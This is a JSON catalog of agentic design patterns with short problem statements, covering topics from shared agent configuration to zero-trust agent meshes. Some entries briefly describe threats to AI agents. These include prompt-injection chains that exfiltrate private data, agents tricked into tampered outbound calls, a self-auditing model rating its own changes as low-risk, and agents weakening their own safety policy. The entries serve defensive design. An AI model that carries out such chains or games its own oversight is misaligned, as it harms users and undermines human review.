    "title": "Team-Shared Agent Configuration as Code",
    "status": "best-practice",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Boris Cherny (Anthropic)",
      "Enterprise Claude Code Users"
    ],
    "category": "UX & Collaboration",
    "source": "https://every.to/podcast/transcript-how-to-use-claude-code-like-the-people-who-built-it",
    "tags": [
      "configuration",
      "version-control",
      "team-collaboration",
      "permissions",
      "consistency",
      "onboarding"
    ],
    "slug": "team-shared-agent-configuration",
    "id": "team-shared-agent-configuration-as-code",
    "summary": "Check agent configuration into version control as code, enabling consistent behavior across teams, faster onboarding, and collaborative improvement through PRs and code review.",
    "signals": [
      "Several engineers use the same agent on one repository",
      "Team members get the same permission prompts again and again",
      "Team needs standard rules for files the agent must not touch"
    ],
    "anti_signals": [
      "Solo developer with no shared repository",
      "Config would need secrets that cannot be committed"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nWhen each engineer configures their AI agent independently:\n\n- **Inconsistent behavior**: Agents work differently for different team members\n- **Permission friction**: Everyone gets prompted for the same safe commands\n- **Duplicated effort**: Each person solves the same configuration problems\n- **Knowledge silos**: Good configurations don't spread across the team\n- **Onboarding overhead**: New team members start from scratch\n- **Security gaps**: No standardized rules about what agents can/can't touch"
  },
  {
    "title": "Three-Stage Perception Architecture",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Sense-Plan-Act (Robotics)",
      "ReAct Pattern (Yao et al. 2022)",
      "Information Processing Theory (Newell & Simon 1972)"
    ],
    "category": "Orchestration & Control",
    "source": "https://arxiv.org/abs/2210.03629",
    "tags": [
      "architecture",
      "perception",
      "processing",
      "action",
      "pipeline",
      "modular-design"
    ],
    "slug": "three-stage-perception-architecture",
    "id": "three-stage-perception-architecture",
    "summary": "Splits the agent into separate perception, processing, and action stages so each stage can be built, tested, and scaled on its own",
    "signals": [
      "Agent handles mixed input types such as text, images, and audio",
      "Monolithic agent is hard to debug or extend",
      "Different stages need different scaling or teams"
    ],
    "anti_signals": [
      "Simple task where extra stages add only complexity",
      "Latency budget cannot absorb stage transitions"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nComplex AI agents often struggle with unstructured inputs and need a systematic way to process information before taking action. Without a clear separation of concerns, agents can become monolithic and difficult to debug, extend, or optimize. Additionally, mixing perception, processing, and action logic makes it hard to swap out components or scale different parts of the system independently."
  },
  {
    "title": "Tier Auto-Apply by Mechanical Impact",
    "status": "emerging",
    "authors": [
      "James Ross (@jimy-r)"
    ],
    "based_on": [
      "James Ross (@jimy-r), Agent Workspace Architecture"
    ],
    "category": "Reliability & Eval",
    "source": "https://github.com/jimy-r/agent-workspace-architecture/blob/main/PATTERNS.md#4-tier-by-mechanical-impact-not-by-tone",
    "tags": [
      "auto-apply",
      "tiered-autonomy",
      "self-improving-agent",
      "findings-triage",
      "reversibility"
    ],
    "slug": "tier-auto-apply-by-mechanical-impact",
    "id": "tier-auto-apply-by-mechanical-impact",
    "summary": "Decides which self-proposed changes auto-apply by matching the real diff's file paths and change kinds against a trusted tier table, not by finding text",
    "signals": [
      "System proposes changes to its own code or config",
      "Some changes should ship without human review",
      "Findings can come from fetched or external content"
    ],
    "anti_signals": [
      "Every change already goes to human review",
      "No way to derive a real diff before applying a change",
      "Team cannot maintain a path and change-kind table"
    ],
    "related": [
      "canary-rollout-and-automatic-rollback-for-agent-policy-changes",
      "human-in-loop-approval-framework"
    ],
    "updated_at": "2026-09-26",
    "excerpt": "\n## Problem\nA system that reviews itself and applies its own findings, a self-auditing agent, say, needs a line between \"apply automatically\" and \"ask a human first.\" The tempting way to draw that line is from how confident or severe a finding sounds. That heuristic is gameable. Phrasing drifts over time, a cautious write-up can make a risky change sound safe, and a model classifying its own proposal has every incentive to rate it low-risk for the same reasons it proposed it in the first place."
  },
  {
    "title": "Tool Capability Compartmentalization",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Simon Willison (MCP critique)"
    ],
    "category": "Orchestration & Control",
    "source": "https://simonwillison.net/2025/Jun/16/lethal-trifecta/",
    "tags": [
      "capability-segregation",
      "least-privilege",
      "tool-permissions"
    ],
    "slug": "tool-capability-compartmentalization",
    "id": "tool-capability-compartmentalization",
    "summary": "Splits tools into reader, processor, and writer classes with scoped permissions and blocks tool chains that combine private data, untrusted input, and external writes",
    "signals": [
      "Agent tools read private data and also reach the network",
      "Untrusted input can reach tools that write or send data",
      "MCP or framework tools mix several capability classes"
    ],
    "anti_signals": [
      "All tools are read-only and local",
      "Team cannot maintain per-tool permission manifests"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nModel Context Protocol (MCP) and agent frameworks often combine three capability classes in a single tool: private-data readers (email, filesystem), web fetchers (HTTP clients), and writers (API mutators). This creates the \"lethal trifecta\"—malicious input can trigger chains that read sensitive data, exfiltrate it, and modify systems in one operation."
  },
  {
    "title": "Tool Search Lazy Loading",
    "status": "emerging",
    "authors": [
      "Niko"
    ],
    "based_on": [
      "Thariq (@trq212) - Anthropic"
    ],
    "category": "Context & Memory",
    "source": "https://x.com/trq212/status/2011523109871108570",
    "tags": [
      "mcp",
      "tool-discovery",
      "context-optimization",
      "lazy-loading",
      "search",
      "dynamic-loading"
    ],
    "slug": "tool-search-lazy-loading",
    "id": "tool-search-lazy-loading",
    "summary": "Dynamically load tools via search instead of preloading all available tools to reduce context usage",
    "maturity": "maturing",
    "complexity": "medium",
    "impact": "high",
    "signals": [
      "MCP servers with 20+ tools",
      "Tool descriptions consuming >10% of context window",
      "Multiple MCP servers enabled simultaneously"
    ],
    "anti_signals": [
      "Single tool or small tool sets",
      "Tools always needed in every interaction"
    ],
    "prerequisites": [
      "MCP server implementation",
      "Search infrastructure for tool metadata"
    ],
    "related": [
      "context-minimization-pattern",
      "progressive-tool-discovery",
      "dynamic-context-injection"
    ],
    "anti_patterns": [
      "preload-all-tools"
    ],
    "tools": [
      "mcp-servers",
      "tool-search-api"
    ],
    "domains": [
      "tool-use",
      "context-optimization"
    ],
    "updated_at": "2026-01-14",
    "excerpt": "\n## Problem\nAs the Model Context Protocol (MCP) has grown, MCP servers may expose 50+ tools that consume significant context space. Documented setups with 7+ servers have been documented consuming 67k+ tokens just for tool descriptions. This creates a fundamental scalability issue:\n\n* **Context bloat**: Preloading all tool descriptions consumes tokens that could be used for the actual task\n* **Latency**: More tools means more processing overhead on every request\n* **Discovery challenges**: Agents must scan through many irrelevant tools to find relevant ones\n* **Memory pressure**: Large tool catalogs can exceed practical context limits"
  },
  {
    "title": "Tool Selection Guide",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Analysis of 88 Claude conversation sessions (nibzard-web, skills-marketplace, awesome-agentic-patterns, marginshot, 2025-intro-swe)"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/nibzard/SKILLS-AGENTIC-LESSONS",
    "tags": [
      "tools",
      "workflow",
      "best-practices",
      "efficiency",
      "patterns",
      "exploration",
      "modification"
    ],
    "slug": "tool-selection-guide",
    "id": "tool-selection-guide",
    "summary": "Maps each task type to a preferred tool: Glob, Grep, and Read to explore, Edit to modify, Bash to verify, and Task with a clear subject to delegate",
    "signals": [
      "Coding agent has file, shell, and delegation tools",
      "Agent wastes tokens with wrong tool choices such as Write for small edits",
      "Agent skips build checks after code changes"
    ],
    "anti_signals": [
      "Agent has only one or two tools",
      "Simple one-off tasks where the workflow adds overhead"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAI agents often struggle to select the optimal tool for a given task, leading to inefficient workflows. Common anti-patterns include:\n\n- Using `Write` when `Edit` would be more appropriate\n- Launching subagents for simple exploration tasks\n- Skipping build verification after code changes\n- Performing sequential exploration when parallel would be faster\n\nThese ineff compound across long sessions, resulting in wasted tokens, slower completion, and more user corrections."
  },
  {
    "title": "Tool Use Incentivization via Reward Shaping",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Will Brown (Prime Intellect Talk)"
    ],
    "category": "Feedback Loops",
    "source": "https://www.youtube.com/watch?v=Xkwok_XXQgw",
    "tags": [
      "tool-use",
      "reward-shaping",
      "coding-agent",
      "RL"
    ],
    "slug": "tool-use-incentivization-via-reward-shaping",
    "id": "tool-use-incentivization-via-reward-shaping",
    "summary": "Gives dense RL rewards for useful intermediate tool calls such as compile, lint, and test so the agent learns to use tools instead of only thinking",
    "signals": [
      "Training a coding agent with reinforcement learning",
      "Agent uses thinking tokens instead of calling tools",
      "Final-only rewards are too sparse to learn from"
    ],
    "anti_signals": [
      "No RL training loop, only prompting",
      "Team cannot design and tune per-tool reward functions"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nCoding agents often underutilize specialized tools (e.g., compilers, linters, test runners) when left to optimize only for final task success. They default to \"thinking\" tokens—generating internal chain-of-thought—instead of invoking external tools, which can slow down development and lead to suboptimal code outputs.\n\n- Models like R1 \"use their think tokens\" almost exclusively rather than calling tools unless explicitly rewarded for tool use.\n- Without intermediate incentives, the agent has no incentive to write code, compile, or run tests until the very end.\n- Sparse final rewards provide insufficient signal for learning optimal tool-use patterns across multi-step episodes."
  },
  {
    "title": "Tool Use Steering via Prompting",
    "status": "best-practice",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Boris Cherny (via Claude Code examples)"
    ],
    "category": "Tool Use & Environment",
    "source": "https://www.nibzard.com/claude-code",
    "tags": [
      "tool use",
      "prompting",
      "agent guidance",
      "custom tools",
      "cli",
      "natural language control"
    ],
    "slug": "tool-use-steering-via-prompting",
    "id": "tool-use-steering-via-prompting",
    "summary": "Tells the agent in the prompt which tool to use, how to learn a custom tool, and which shorthands map to tool sequences",
    "signals": [
      "Agent has custom or team-specific tools the base model does not know",
      "Smaller models pick the wrong tools",
      "Tool calls fail often without guidance"
    ],
    "anti_signals": [
      "Agent has few tools and picks them correctly on its own",
      "Tool interfaces change too often to keep prompts current"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAI agents equipped with multiple tools (e.g., shell access, file system operations, web search, custom CLIs) need clear guidance on when, why, and how to use these tools effectively. Simply having tools available doesn't guarantee they will be used appropriately for the task at hand, especially for tools unfamiliar to the base model or specific to a team's workflow."
  },
  {
    "title": "Tracker-as-Desired-State Reconciliation",
    "status": "emerging",
    "authors": [
      "Serghei Iakovlev (@sergeyklay)"
    ],
    "based_on": [
      "Kubernetes control-plane design principles"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/kubernetes/design-proposals-archive/blob/main/architecture/principles.md",
    "tags": [
      "orchestration",
      "reconciliation",
      "level-triggered",
      "issue-tracker",
      "dispatch",
      "crash-recovery",
      "idempotency",
      "human-in-the-loop"
    ],
    "slug": "tracker-as-desired-state-reconciliation",
    "id": "tracker-as-desired-state-reconciliation",
    "summary": "Derive agent dispatch by re-reading workflow states in the team's issue tracker every tick, keeping only a short-lived claim locally, so missed events, restarts, and human edits all self-heal.",
    "maturity": "maturing",
    "complexity": "medium",
    "impact": "high",
    "signals": [
      "Long-lived agent fleet that must survive restarts and redeploys",
      "Humans and agents need to cancel or re-prioritize the same work item",
      "The team already runs a tracker that is the social source of truth for work"
    ],
    "anti_signals": [
      "One-shot or interactive sessions where the human is present for the whole run",
      "Work items that cannot be represented as tickets (per-token, per-request, sub-second)",
      "Latency budget below the shortest tolerable poll interval"
    ],
    "prerequisites": [
      "Tracker API that can list items by workflow state and transition an item",
      "Ability to add or designate workflow states for the state contract",
      "Idempotent side effects keyed by work-item ID"
    ],
    "related": [
      "board-mediated-async-inter-agent-coordination",
      "signal-driven-agent-activation",
      "multi-platform-webhook-triggers",
      "filesystem-based-agent-state"
    ],
    "domains": [
      "coding",
      "ops"
    ],
    "updated_at": "2026-08-11",
    "excerpt": "\n## Problem\nAn orchestrator that dispatches long-running agents needs to answer two questions continuously: *what work exists*, and *is it still wanted*. Two common answers both fail in production.\n\n**Edge-triggered dispatch.** A webhook or event fires and an agent starts. If the delivery is lost — receiver redeploy, outage, rate limit, a paused queue — the work silently never happens. Nothing is wrong anywhere; there is simply no record that anything should have occurred. Replaying the event stream is not a fix, because a second `issue.assigned` delivery starts a second agent.\n\n**A private queue inside the orchestrator.** Now there are two systems of record. The board says `In Review`; the orchestrator's table says `running`. They drift, and the drift is invisible until someone asks why an agent is still burning tokens on a ticket that was closed yesterday. Worse, the human's natural control gesture — dragging a card — does nothing, so cancellation needs a second control surface that the team does not have open.\n\nBoth failures share a root cause: dispatch is derived from *events about* the work rather than from *the state of* the work. That also leaves crash recovery as bespoke resume logic, and leaves the audit trail in agent logs no one reads instead of on the ticket everyone reads."
  },
  {
    "title": "Transitive Vouch-Chain Trust",
    "status": "emerging",
    "authors": [
      "The-Nexus-Guard (@The-Nexus-Guard)"
    ],
    "based_on": [
      "Isnad methodology (hadith chain of transmission)",
      "PGP Web of Trust",
      "Ed25519 digital signatures"
    ],
    "category": "Security & Safety",
    "source": "https://github.com/nickzsche/aip-identity",
    "tags": [
      "trust",
      "identity",
      "vouch",
      "trust-chain",
      "agent-identity",
      "decentralized-trust",
      "ed25519",
      "reputation"
    ],
    "slug": "transitive-vouch-chain-trust",
    "id": "transitive-vouch-chain-trust",
    "summary": "Builds a graph of signed vouches between agents and derives trust in an unknown agent from the chain back to a trusted one, with decay at each hop",
    "signals": [
      "Agents from different operators must collaborate without a central authority",
      "Agents must decide how much to trust previously unknown agents",
      "Each agent can hold a stable cryptographic keypair"
    ],
    "anti_signals": [
      "A trusted central registry already covers all agents",
      "New agents need trust at once with no vouches (cold start)",
      "Identities are cheap to create and Sybil attacks are a risk"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nWhen autonomous agents interact without a central authority, trust decisions are binary: either you trust an agent completely or you do not trust it at all. There is no mechanism to derive partial, evidence-based trust from indirect relationships.\n\nTraditional approaches fail in different ways:\n- **Central registries** create single points of failure and require all agents to trust the same authority.\n- **Self-asserted identity** (claiming \"I am X\") provides no verification — any agent can claim any identity.\n- **Binary web-of-trust** (PGP model) only answers \"is this key valid?\" but not \"how much should I trust this agent's competence or intent?\"\n\nAgents need a way to build trust networks where trust propagates through verified relationships, decays with distance, and remains auditable end-to-end."
  },
  {
    "title": "Tree-of-Thought Reasoning",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Yao et al. (2023)"
    ],
    "category": "Orchestration & Control",
    "source": "https://arxiv.org/abs/2305.10601",
    "tags": [
      "branching",
      "deliberate-reasoning",
      "search"
    ],
    "slug": "tree-of-thought-reasoning",
    "id": "tree-of-thought-reasoning",
    "summary": "Expands a tree of candidate reasoning steps, scores partial states, prunes weak branches, and picks the best path instead of one linear chain",
    "signals": [
      "Complex planning, math, or code tasks where the first path often fails",
      "A good evaluation function or external verifier exists",
      "Task needs explicit backtracking"
    ],
    "anti_signals": [
      "Simple linear tasks",
      "Tight latency or token budget (3-10x more tokens than chain-of-thought)"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nLinear reasoning commits early to one path and can fail silently when intermediate assumptions are wrong. On complex planning or synthesis tasks, this causes premature convergence, weak recovery from mistakes, and missed alternatives that a broader search would discover."
  },
  {
    "title": "Unified Tool Gateway",
    "status": "emerging",
    "authors": [
      "Blake Folgado (@blakefolgado)"
    ],
    "based_on": [
      "API Gateway Pattern (microservices.io)",
      "Model Context Protocol"
    ],
    "category": "Tool Use & Environment",
    "source": "https://microservices.io/patterns/apigateway.html",
    "tags": [
      "tool-gateway",
      "mcp",
      "tool-aggregation",
      "agent-tooling",
      "api-gateway",
      "tool-routing"
    ],
    "slug": "unified-tool-gateway",
    "id": "unified-tool-gateway",
    "summary": "Route all agent tool calls through a single gateway that handles discovery, authentication, billing, and execution across many heterogeneous providers.",
    "maturity": "maturing",
    "complexity": "medium",
    "effort": "days",
    "impact": "high",
    "signals": [
      "Agent needs 10+ external tools or APIs",
      "Managing multiple API keys across providers",
      "Usage-based billing required across tools",
      "Teams sharing tool access with centralized controls"
    ],
    "anti_signals": [
      "Single-provider tool usage",
      "Agents that only need 1-2 tools",
      "Fully offline or air-gapped environments"
    ],
    "prerequisites": [
      "MCP or tool-use capable agent",
      "Network access to external APIs"
    ],
    "related": [
      "progressive-tool-discovery",
      "tool-search-lazy-loading",
      "tool-capability-compartmentalization"
    ],
    "anti_patterns": [
      "direct-api-integration-per-tool"
    ],
    "tools": [
      "mcp-servers",
      "api-gateway",
      "tool-registry"
    ],
    "domains": [
      "tool-use",
      "infrastructure",
      "ops"
    ],
    "updated_at": "2026-03-31",
    "excerpt": "\n## Problem\nAs agent capabilities grow, they need access to an expanding set of external tools — web search, image generation, competitor research, security scanning, video production, and more. Each tool typically requires its own API key, authentication flow, rate-limiting logic, and billing integration.\n\nThis creates several compounding problems:\n\n* **Credential sprawl**: Agents or their operators must manage dozens of API keys across different providers, each with different authentication schemes.\n* **Integration tax**: Every new tool requires custom integration code — error handling, retries, schema translation, and response normalization.\n* **Billing fragmentation**: Usage is scattered across many provider dashboards, making cost tracking and budget enforcement difficult.\n* **Discovery overhead**: Agents have no unified way to find what tools are available or what capabilities they can access."
  },
  {
    "title": "Variance-Based RL Sample Selection",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Theo (OpenAI Solutions Architect)",
      "Prashant (OpenAI RFT Team)"
    ],
    "category": "Learning & Adaptation",
    "source": "https://youtu.be/1s_7RMG4O4U",
    "tags": [
      "reinforcement-learning",
      "sample-efficiency",
      "variance",
      "data-quality",
      "agent-rft"
    ],
    "slug": "variance-based-rl-sample-selection",
    "id": "variance-based-rl-sample-selection",
    "summary": "Runs the base model several times per sample and trains RL only on samples with score variance, skipping ones that are always right or always wrong",
    "signals": [
      "Planning reinforcement fine-tuning on a limited budget",
      "Dataset may contain many samples with no learning signal",
      "Need to estimate RL improvement potential before training"
    ],
    "anti_signals": [
      "Very small dataset (under about 50 samples) with noisy variance estimates",
      "No budget for 3-5 baseline runs per sample"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nNot all training samples are equally valuable for reinforcement learning. This pattern builds on **Prioritized Experience Replay** (Schaul et al., 2016), which introduced TD-error-based sample prioritization for value learning.\n\n- **Zero-variance samples**: Model gets same score every time (always correct or always wrong) → no learning signal\n- **Wasted compute**: Training on samples where the model has no uncertainty wastes expensive RL exploration\n- **Poor data utilization**: With limited training budgets, you want to maximize learning from each sample\n- **Unclear training potential**: Hard to know if your dataset will support effective RL training\n\nWhen Theo ran baseline evaluations on the FinQA benchmark, he discovered that ~85% of samples had zero variance (model always got them right or always wrong), meaning only ~15% of samples could actually contribute to learning."
  },
  {
    "title": "Verbose Reasoning Transparency",
    "status": "best-practice",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Boris Cherny (via Claude Code)"
    ],
    "category": "UX & Collaboration",
    "source": "https://www.nibzard.com/claude-code",
    "tags": [
      "explainability",
      "debugging",
      "transparency",
      "agent reasoning",
      "verbose mode",
      "introspection"
    ],
    "slug": "verbose-reasoning-transparency",
    "id": "verbose-reasoning-transparency",
    "summary": "Lets users open a verbose view on demand that shows the agent's interpretation, tool choices, intermediate steps, and raw tool outputs",
    "signals": [
      "Users must debug unexpected agent output",
      "Users need to learn how to prompt the agent better",
      "High-stakes tasks where users must know why the agent acted"
    ],
    "anti_signals": [
      "Verbose output would expose sensitive system prompts or credentials",
      "Token overhead is not acceptable"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAI agents, especially those using complex models or multiple tools, can sometimes behave like \"black boxes.\" Users may not understand why an agent made a particular decision, chose a specific tool, or generated a certain output. This lack of transparency can hinder debugging, trust, and the ability to effectively guide the agent."
  },
  {
    "title": "Versioned Constitution Governance",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Hiveism (self-alignment loop)",
      "Anthropic (Constitutional AI)"
    ],
    "category": "Reliability & Eval",
    "source": "https://substack.com/home/post/p-161422949?utm_campaign=post&utm_medium=web",
    "tags": [
      "constitution",
      "alignment",
      "governance",
      "signed-commits",
      "policy",
      "rlaif",
      "critique-revise"
    ],
    "slug": "versioned-constitution-governance",
    "id": "versioned-constitution-governance",
    "summary": "Stores the agent constitution in a signed Git repository where the agent can only propose changes and reviewers or CI gates merge them",
    "signals": [
      "Agents can propose changes to their own policy or constitution",
      "Team must prove who changed a safety rule and why",
      "Need rollback of bad policy changes"
    ],
    "anti_signals": [
      "Policy is fixed and never changes",
      "Team needs fast policy iteration without review gates"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nWhen agents can modify policy/constitution text, safety regressions can be introduced gradually and go unnoticed. Without versioning, signatures, and policy review gates, teams cannot prove who changed what, why it changed, or whether critical safeguards were weakened."
  },
  {
    "title": "Virtual Machine Operator Agent",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Amjad Masad"
    ],
    "category": "Tool Use & Environment",
    "source": "https://www.nibzard.com/silent-revolution",
    "tags": [
      "computer operation",
      "virtual machine",
      "execution environment",
      "agent capability"
    ],
    "slug": "virtual-machine-operator-agent",
    "id": "virtual-machine-operator-agent",
    "summary": "Gives the agent a dedicated virtual machine where it can run code, install packages, use the file system, and operate CLI tools",
    "signals": [
      "Tasks need code execution, package installs, or system tools",
      "Agent must work as a general-purpose computer operator",
      "Isolation from the host system is required"
    ],
    "anti_signals": [
      "Tasks are only text or code generation with no execution",
      "Cold-start latency of VMs or containers is not acceptable"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAI agents need to perform complex tasks beyond simple code generation or text manipulation. They require the ability to interact with a full computer environment to execute code, manage system resources, install software, and operate various applications."
  },
  {
    "title": "Visual AI Multimodal Integration",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Andrew Ng",
      "OpenAI",
      "Anthropic",
      "Google"
    ],
    "category": "Tool Use & Environment",
    "source": "https://openai.com/research/gpt-4v-system-card",
    "tags": [
      "multimodal",
      "vision",
      "video",
      "image-processing",
      "visual-understanding",
      "agent-capabilities"
    ],
    "slug": "visual-ai-multimodal-integration",
    "id": "visual-ai-multimodal-integration",
    "summary": "Adds multimodal models to the agent so it can analyze images, video, and screenshots and combine them with text to reason and act",
    "signals": [
      "Tasks involve screenshots, charts, diagrams, or video",
      "Agent must debug UIs or extract data from visual documents",
      "Users want to show a problem instead of describing it"
    ],
    "anti_signals": [
      "All inputs are text only",
      "Budget cannot cover higher visual processing costs",
      "Visual data carries privacy risks that cannot be controlled"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nMany real-world tasks require understanding and processing visual information alongside text. Traditional text-only agents miss critical information present in images, videos, diagrams, and visual interfaces. This limitation prevents agents from helping with tasks like analyzing screenshots, debugging UI issues, understanding charts, processing security footage, or working with visual documentation."
  },
  {
    "title": "Workflow Evals with Mocked Tools",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Will Larson (lethain.com)",
      "Sierra (chat/voice platform)"
    ],
    "category": "Reliability & Eval",
    "source": "https://lethain.com/agents-evals/",
    "tags": [
      "evals",
      "testing",
      "ci-cd",
      "mocked-tools",
      "simulations",
      "workflow-validation",
      "end-to-end-testing"
    ],
    "slug": "workflow-evals-with-mocked-tools",
    "id": "workflow-evals-with-mocked-tools",
    "summary": "Runs complete agent workflows against mocked tools in CI and checks which tools were called plus agent-as-judge quality criteria",
    "signals": [
      "Agent tools have side effects such as API or database writes",
      "Unit tests pass but prompts and tools fail together",
      "Need regression tests for agent behavior on each PR"
    ],
    "anti_signals": [
      "Results must act as a strict CI gate, since non-determinism makes them flaky",
      "Team cannot keep mocks in sync with real tools"
    ],
    "updated_at": "2026-01-13",
    "excerpt": "\n## Problem\nUnit tests, linters, and typecheckers validate individual components but don't test agent workflows end-to-end. It's easy to create prompts that don't work well despite all underlying pieces being correct.\n\nYou need to validate that prompts and tools work together effectively as a system."
  },
  {
    "title": "Working Memory via TodoWrite",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Analysis of 88 Claude conversation sessions"
    ],
    "category": "Context & Memory",
    "source": "https://github.com/nibzard/SKILLS-AGENTIC-LESSONS",
    "tags": [
      "context",
      "memory",
      "working-memory",
      "state",
      "todo-tracking",
      "dependencies",
      "session-management"
    ],
    "slug": "working-memory-via-todos",
    "id": "working-memory-via-todowrite",
    "summary": "Keeps an explicit todo list with status, blockers, and next steps during the session so agent and user can track progress",
    "signals": [
      "Complex multi-step tasks with dependencies",
      "Agent forgets or repeats tasks after context switches",
      "Several work streams run in the same session"
    ],
    "anti_signals": [
      "Simple single-step tasks",
      "Tasks that finish in seconds or quick questions"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nDuring complex multi-step tasks, AI agents lose track of:\n- What tasks are pending, in progress, or completed\n- Which tasks are blocked by dependencies\n- Verification steps that need to run\n- Next actions after context switches\n\nThis leads to redundant work, forgotten tasks, and confused users."
  },
  {
    "title": "Workspace-Native Multi-Agent Orchestration",
    "status": "emerging",
    "authors": [
      "John Xie (@johnxie)"
    ],
    "based_on": [
      "Taskade AI Agents (example implementation)"
    ],
    "category": "Orchestration & Control",
    "source": "https://taskade.com/agents",
    "tags": [
      "multi-agent",
      "orchestration",
      "workflow-automation",
      "workspace",
      "mcp",
      "knowledge-base",
      "persistent-memory",
      "integrations",
      "collaboration"
    ],
    "slug": "workspace-native-multi-agent-orchestration",
    "id": "workspace-native-multi-agent-orchestration",
    "summary": "Runs agents inside the team's workspace platform so they share its memory, knowledge sources, event triggers, and integrations with humans",
    "signals": [
      "Agent tooling is separate from where the team works",
      "Non-engineers need to create and version agents",
      "Multi-agent workflows need shared context and event triggers"
    ],
    "anti_signals": [
      "Team cannot accept coupling to one workspace platform",
      "Workflows need custom agent code the platform cannot run"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nMany teams struggle to run agentic workflows because their agent tooling is separate from their day-to-day collaboration environment. The result is fragmented context, brittle integrations, and high setup overhead.\n\nCommon pain points include:\n\n- Agents are difficult to create and version for non-engineering users.\n- Context, memory, and knowledge sources are spread across ad hoc systems.\n- Multi-agent workflows require custom glue for routing, event triggers, and state transfer.\n- Integrating agents with operational tools (issue trackers, docs, chat, CRM) is expensive."
  },
  {
    "title": "Zero-Knowledge Verified Agent Egress",
    "status": "emerging",
    "authors": [
      "Provably (@aural-psynapse)"
    ],
    "based_on": [
      "Zero-knowledge proofs",
      "Zero trust architecture",
      "Trusted-endpoint allow-listing"
    ],
    "category": "Security & Safety",
    "source": "https://csrc.nist.gov/pubs/sp/800/207/final",
    "tags": [
      "egress",
      "zero-knowledge-proof",
      "source-of-truth",
      "allow-list",
      "mcp",
      "outbound-verification",
      "runtime-protection"
    ],
    "slug": "zero-knowledge-verified-agent-egress",
    "id": "zero-knowledge-verified-agent-egress",
    "summary": "Intercepts each outbound HTTP or MCP call, proves its claims against a private source of truth with a zero-knowledge proof, and blocks calls that fail",
    "signals": [
      "Agent makes high-value outbound calls such as payments",
      "Tampered tool arguments are a threat that domain allow-lists miss",
      "Source of truth must stay hidden from the agent and destination"
    ],
    "anti_signals": [
      "Agent makes no outbound calls with consequences",
      "Per-call proof latency is not acceptable",
      "No one can define and maintain a source of truth per flow"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nAn agent can be tricked into making an outbound request that looks fine at the network layer but carries a false claim: a payment to the wrong recipient, an API call with tampered parameters, a tool call whose arguments do not match what the user approved. A domain allow-list or egress firewall lets the call through because the destination is allowed; it never checks whether the *content* of the request is truthful. In regulated or high-value flows, teams need each outbound call to prove it matches a trusted source of truth before it leaves, without exposing that source of truth to the agent or the destination."
  },
  {
    "title": "Zero-Trust Agent Mesh",
    "status": "established",
    "authors": [
      "Imran Siddique (@imran-siddique)"
    ],
    "based_on": [
      "NIST SP 800-207 (Zero Trust Architecture)",
      "SPIFFE/SPIRE identity concepts",
      "AgentMesh (example implementation)"
    ],
    "category": "Security & Safety",
    "source": "https://www.nist.gov/publications/zero-trust-architecture",
    "tags": [
      "zero-trust",
      "identity",
      "delegation",
      "multi-agent",
      "cryptography",
      "ed25519",
      "governance"
    ],
    "slug": "zero-trust-agent-mesh",
    "id": "zero-trust-agent-mesh",
    "summary": "Gives each agent a cryptographic identity and verifies identity, signed delegation tokens, and chain depth on every inter-agent request",
    "signals": [
      "Multi-agent system where agents delegate tasks to each other",
      "Risk of agent impersonation or privilege confusion",
      "Delegation chains must be auditable"
    ],
    "anti_signals": [
      "Single agent with no inter-agent calls",
      "Team cannot operate key rotation and revocation"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nIn multi-agent systems, trust boundaries are often implicit: agents communicate by convention without verifiable identity, and delegation chains are hard to audit. This enables impersonation, privilege confusion, and unverifiable task delegation."
  }
]